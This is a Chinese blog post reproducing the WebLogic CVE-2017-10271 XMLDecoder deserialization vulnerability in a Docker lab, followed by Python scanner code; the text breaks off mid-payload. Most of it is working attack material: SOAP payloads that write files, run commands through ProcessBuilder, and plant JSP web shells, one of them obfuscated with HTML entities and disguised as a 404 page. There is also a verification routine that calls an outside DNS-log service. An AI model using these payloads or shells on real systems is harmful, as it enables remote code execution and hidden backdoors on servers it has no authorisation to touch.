Weblogic(CVE-2017-10271)漏洞复现 附POC

发布时间:December 26, 2017 // 分类:开发笔记,linux,windows,python // No Comments

最近的CVE-2017-10271也是引起了一个小风波。趁着刚好有空就也测试了一下.测试环境是基于docker的.实际地址是:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

注意的是,在发送请求的时候,在请求头中必带Content-Type: text/xml,否则是无法请求成功的。
文件上传:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.101:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 582

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/poacher.txt</string><void method="println">
                        <string>Weblogic By:Poacher</string></void><void method="close"/>
                    </object>
                </java>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行(猥琐命令回显方法)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                      <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

得说一下这里是使用的ProcessBuilder类进行的本地命令调用的。所以如果需要修改命令的话就得吧对应的参数修改了。以上的poc是弹计算器的。验证一下。

接下来说一下猥琐的命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="5">
                      <void index="0">
                        <string>cmd</string>
                    </void>
                    <void index="1">
                        <string>/c</string>
                    </void>    
                    <void index="2">
                        <string>ipconfig</string>
                    </void>        
                    <void index="3">
                        <string>>></string>
                    </void>    
                    <void index="4">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                    </void>        
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt,可以测试一下:

访问:http://www.xxxxx.cn:7001/wls-wsat/ipconfig.txt

发一个可以直接getshell的利用

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){  
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
                        int a = -1;  
                        byte[] b = new byte[2048];  
                        out.print("<pre>");  
                        while((a=in.read(b))!=-1){  
                            out.println(new String(b));  
                        }  
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

另外附上一个其他的payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
        <java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
                        <void method="println"><string>&#60;&#37;@&#32;p&#97;ge&#32;l&#97;ngu&#97;ge&#61;&#34;j&#97;v&#97;&#34;&#32;p&#97;ge&#69;n&#99;oding&#61;&#34;g&#98;k&#34;&#37;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;&#37;&#32;int&#32;i&#61;&#48;&#59;&#83;tring&#32;method&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;&#97;&#99;t&#34;&#41;&#59;if&#40;method&#33;&#61;null&#38;&#38;method&#46;equ&#97;ls&#40;&#34;yo&#99;o&#34;&#41;&#41;{&#83;tring&#32;url&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;url&#34;&#41;&#59;&#83;tring&#32;text&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;sm&#97;rt&#34;&#41;&#59;&#70;ile&#32;f&#61;new&#32;&#70;ile&#40;url&#41;&#59;if&#40;f&#46;exists&#40;&#41;&#41;{f&#46;delete&#40;&#41;&#59;}try{&#79;utput&#83;tre&#97;m&#32;o&#61;new&#32;&#70;ile&#79;utput&#83;tre&#97;m&#40;f&#41;&#59;o&#46;write&#40;text&#46;get&#66;ytes&#40;&#41;&#41;&#59;o&#46;&#99;lose&#40;&#41;&#59;}&#99;&#97;t&#99;h&#40;&#69;x&#99;eption&#32;e&#41;{i&#43;&#43;&#59;&#37;&#62;&#48;&#60;&#37;}}if&#40;i&#61;&#61;&#48;&#41;{&#37;&#62;&#49;&#60;&#37;}&#37;&#62;&#60;form&#32;&#97;&#99;tion&#61;&#39;&#63;&#97;&#99;t&#61;yo&#99;o&#39;&#32;method&#61;&#39;post&#39;&#62;&#60;input&#32;size&#61;&#34;&#49;&#48;&#48;&#34;&#32;v&#97;lue&#61;&#34;&#60;&#37;&#61;&#97;ppli&#99;&#97;tion&#46;get&#82;e&#97;l&#80;&#97;th&#40;&#34;&#47;&#34;&#41;&#32;&#37;&#62;&#34;&#32;n&#97;me&#61;&#34;url&#34;&#62;&#60;&#98;r&#62;&#60;text&#97;re&#97;&#32;rows&#61;&#34;&#50;&#48;&#34;&#32;&#99;ols&#61;&#34;&#56;&#48;&#34;&#32;n&#97;me&#61;&#34;sm&#97;rt&#34;&#62;</string></void><void method="close"/>
                </object>
        </java>
</java>
</work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>

因为所有的都是基于servers/AdminServer/tmp/下可写的情况下的.不过作为验证需要利用非有害请求的方式,写了某框架的插件.借助dns来验证是否存在.如果不存在再考虑写文件的方式.

    def verify_shell(self):
        import re
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        random_file = str(randint(10000000,99999999))
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#xa;&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x50;&#x55;&#x42;&#x4c;&#x49;&#x43;&#x20;&#x22;&#x2d;&#x2f;&#x2f;&#x57;&#x33;&#x43;&#x2f;&#x2f;&#x44;&#x54;&#x44;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x34;&#x2e;&#x30;&#x20;&#x44;&#x72;&#x61;&#x66;&#x74;&#x2f;&#x2f;&#x45;&#x4e;&#x22;&#x3e;&#xa;&#x3c;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#xa;&#x3c;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x42;&#x4f;&#x44;&#x59;&#x20;&#x62;&#x67;&#x63;&#x6f;&#x6c;&#x6f;&#x72;&#x3d;&#x22;&#x77;&#x68;&#x69;&#x74;&#x65;&#x22;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x73;&#x70;&#x61;&#x63;&#x69;&#x6e;&#x67;&#x3d;&#x35;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x22;&#x62;&#x6c;&#x61;&#x63;&#x6b;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x32;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x32;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x77;&#x69;&#x64;&#x74;&#x68;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x70;&#x61;&#x64;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x31;&#x30;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x20;&#x56;&#x41;&#x4c;&#x49;&#x47;&#x4e;&#x3d;&#x74;&#x6f;&#x70;&#x20;&#x57;&#x49;&#x44;&#x54;&#x48;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x42;&#x47;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x77;&#x68;&#x69;&#x74;&#x65;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x33;&#x3e;&#x46;&#x72;&#x6f;&#x6d;&#x20;&#x52;&#x46;&#x43;&#x20;&#x32;&#x30;&#x36;&#x38;&#x20;&#x3c;&#x69;&#x3e;&#x48;&#x79;&#x70;&#x65;&#x72;&#x74;&#x65;&#x78;&#x74;&#x20;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x65;&#x72;&#x20;&#x50;&#x72;&#x6f;&#x74;&#x6f;&#x63;&#x6f;&#x6c;&#x20;&#x2d;&#x2d;&#x20;&#x48;&#x54;&#x54;&#x50;&#x2f;&#x31;&#x2e;&#x31;&#x3c;&#x2f;&#x69;&#x3e;&#x3a;&#x3c;&#x2f;&#x48;&#x33;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x34;&#x3e;&#x31;&#x30;&#x2e;&#x34;&#x2e;&#x35;&#x20;&#x34;&#x30;&#x34;&#x20;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x34;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x50;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x54;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x66;&#x6f;&#x75;&#x6e;&#x64;&#x20;&#x61;&#x6e;&#x79;&#x74;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x74;&#x68;&#x65;&#x20;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2d;&#x55;&#x52;&#x49;&#x2e;&#x20;&#x4e;&#x6f;&#x20;&#x69;&#x6e;&#x64;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x67;&#x69;&#x76;&#x65;&#x6e;&#x20;&#x6f;&#x66;&#x20;&#x77;&#x68;&#x65;&#x74;&#x68;&#x65;&#x72;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6f;&#x6e;&#x64;&#x69;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x74;&#x65;&#x6d;&#x70;&#x6f;&#x72;&#x61;&#x72;&#x79;&#x20;&#x6f;&#x72;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x2e;&#x3c;&#x2f;&#x70;&#x3e;&#x3c;&#x70;&#x3e;&#x49;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x64;&#x6f;&#x65;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x77;&#x69;&#x73;&#x68;&#x20;&#x74;&#x6f;&#x20;&#x6d;&#x61;&#x6b;&#x65;&#x20;&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x6e;&#x66;&#x6f;&#x72;&#x6d;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x74;&#x6f;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6c;&#x69;&#x65;&#x6e;&#x74;&#x2c;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x34;&#x30;&#x33;&#x20;&#x28;&#x46;&#x6f;&#x72;&#x62;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x29;&#x20;&#x63;&#x61;&#x6e;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x6e;&#x73;&#x74;&#x65;&#x61;&#x64;&#x2e;&#x20;&#x54;&#x68;&#x65;&#x20;&#x34;&#x31;&#x30;&#x20;&#x28;&#x47;&#x6f;&#x6e;&#x65;&#x29;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x20;&#x69;&#x64;&#x3d;&#x22;&#x63;&#x39;&#x39;&#x34;&#x38;&#x32;&#x65;&#x37;&#x32;&#x39;&#x35;&#x66;&#x32;&#x31;&#x39;&#x64;&#x34;&#x64;&#x32;&#x62;&#x62;&#x31;&#x66;&#x65;&#x39;&#x33;&#x39;&#x63;&#x39;&#x65;&#x63;&#x35;&#x22;&#x3e;&#x53;&#x48;&#x4f;&#x55;&#x4c;&#x44;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x6b;&#x6e;&#x6f;&#x77;&#x73;&#x2c;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x75;&#x67;&#x68;&#x20;&#x73;&#x6f;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x6c;&#x79;&#x20;&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x67;&#x75;&#x72;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6d;&#x65;&#x63;&#x68;&#x61;&#x6e;&#x69;&#x73;&#x6d;&#x2c;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x61;&#x6e;&#x20;&#x6f;&#x6c;&#x64;&#x20;&#x72;&#x65;&#x73;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x69;&#x73;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x6c;&#x79;&#x20;&#x75;&#x6e;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x61;&#x6e;&#x64;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x20;&#x66;&#x6f;&#x72;&#x77;&#x61;&#x72;&#x64;&#x69;&#x6e;&#x67;&#x20;&#x61;&#x64;&#x64;&#x72;&#x65;&#x73;&#x73;&#x2e;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x50;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#xa;&#x3c;&#x2f;&#x42;&#x4f;&#x44;&#x59;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
        try:
            response = requests.post(exp_url, data=payload.replace('bb1fe939c9ec5',random_file),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        if response.status_code == 404:
            return

        nurl = self.option.url+'/bea_wls_internal/bb1fe939c9ec5.jsp'
        self.print_debug(nurl.replace('bb1fe939c9ec5',random_file))
        try:
            rep = requests.get(nurl.replace('bb1fe939c9ec5',random_file),headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if rep.status_code == 404 and 'c99482e7295f219d4d2bb1fe939c9ec5' in rep.content:
                path = re.findall(r'value="(.*?) id="',rep.content)
                if path:
                    self.print_debug(path)
                    self.result.status = True
                    self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞,\n服务器的路径是{path},\n测试的payload为: \n{payload}".format(
                        url=exp_url,
                        path = path[0],
                        payload = payload.replace('bb1fe939c9ec5',random_file)
                    )
        except Exception as e:
            self.result.error = str(e)
            return

    def verify(self):
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        newurlparse = urlparse(self.option.url)
        host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))
        self.print_debug(host)
        try:
            resp = requests.get(exp_url,headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if resp.status_code == 404:
                return
        except Exception as e:
            self.result.error = str(e)
            return
        self.print_debug(payload.format(host=host))
        try:
            response = requests.post(exp_url, data=payload.format(host=host),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        time.sleep(3)
        try:
            verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=dnslog&domain={host}"
            self.print_debug(verify_url.format(host=host))
            verify_rep = requests.get(verify_url.format(host=host),timeout=60, verify=False,allow_redirects = False)
            if verify_rep.content.find(host)!=-1:
                self.result.status = True
                self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞, 测试的payload为: \n{payload}".format(
                    url=exp_url,
                    payload = payload.format(host=host)
                )
            else:
                self.verify_shell()
        except Exception as e:
            self.result.error = str(e)
            return
        finally:
            clearurl = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=clearlog&domain={host}"
            self.print_debug(clearurl.format(host=host))
            requests.get(clearurl.format(host=host),timeout=60, verify=False,allow_redirects = False)

    def exploit(self):
        self.verify()

附上自用检测脚本

# -*- coding: utf-8 -*-
import re
import requests
from urlparse import urlparse
from random import randint

headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Cookie':'wp-settings-time-1=1506773666',
    'SOAPAction': "",
    'Content-Type':"text/xml"
    }
def check_shell(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&